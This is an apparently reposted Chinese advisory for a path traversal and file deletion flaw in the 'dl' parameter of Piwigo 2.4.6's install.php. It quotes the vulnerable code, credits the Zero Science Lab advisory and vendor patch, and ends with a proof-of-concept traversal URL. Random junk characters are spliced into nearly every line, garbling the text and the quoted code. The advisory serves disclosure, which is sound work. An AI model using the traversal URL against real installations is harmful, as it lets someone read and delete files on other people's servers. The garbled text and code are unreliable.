Piwigo是用PHP编写的相册脚本。+ x% x+ k2 O8 o
( ]6 N" k- D' ~5 h8 Z$ C. w
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。5 F! G4 l L0 U8 V3 O9 G' R
====================================================================
1 e' b2 p s _+ S3 r, g/install.php:- B$ T6 K* I& E. U9 Y( m+ n
-------------
0 I" V1 J& D0 x) ~, i+ X113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
9 \8 ^* n0 E! L( g( E8 T114: {
; ?! ]- ]' @7 b( ~115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
' J+ G8 r3 ?% ]116: header('Cache-Control: no-cache, must-revalidate');; G4 E" R. j& o, c
117: header('Pragma: no-cache');
& k' l8 @; \( g( i* Q; f1 s118: header('Content-Disposition: attachment; filename="database.inc.php"');
. c; ^2 i4 R8 X" n( D119: header('Content-Transfer-Encoding: binary');' g& A; \" }3 E# ~
120: header('Content-Length: '.filesize($filename));
2 {* \- ^2 X- f: \121: echo file_get_contents($filename);% ^ {2 Y6 B7 t+ Q; c6 l/ W0 o
122: unlink($filename);6 O) N) i+ Y7 U& K& D- l( u
123: exit();
+ p L$ X, V* `: b2 ^, j; T2 G124: } n$ I E" \/ K
==================================================================== g' @, H, q7 |6 B
$ X' Z- A. O& L' ]Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
: b5 l" M: U/ E4 T n. R Apache 2.4.2 (Win32)2 B. b3 _2 p. Z- k" U% L- Z) w
PHP 5.4.4
* |- ?2 S" T8 r) X( M9 } MySQL 5.5.25a
5 k. R6 c) z# w2 \! } n8 |/ h
3 ~, O; m* c# U L9 x Z" c% bVulnerability discovered by Gjoko 'LiquidWorm' Krstic6 c9 ^1 t Q! `( `7 ]; c
@zeroscience8 I# M, A$ ~& K o W" Y: b
+ ^* J! r% I L, N2 d4 B8 r
Advisory ID: ZSL-2013-5127% m7 F* N# i5 z* m0 ?
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
- b$ q# I3 E7 q5 h: P7 ZVendor Patch: http://piwigo.org/bugs/view.php?id=2843* ]: ]- T$ ^5 m
/ `" J5 ~$ p5 y3 T5 u15.02.2013
" t6 v. I' t! e' k$ a1 |; K4 {* g # K# O# e! \" f3 r
--: H( [+ L }. I9 ]2 ~
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt+ z. ]9 j6 S D4 M1 w; W" k
+ i0 h! p& ]$ }! G, u |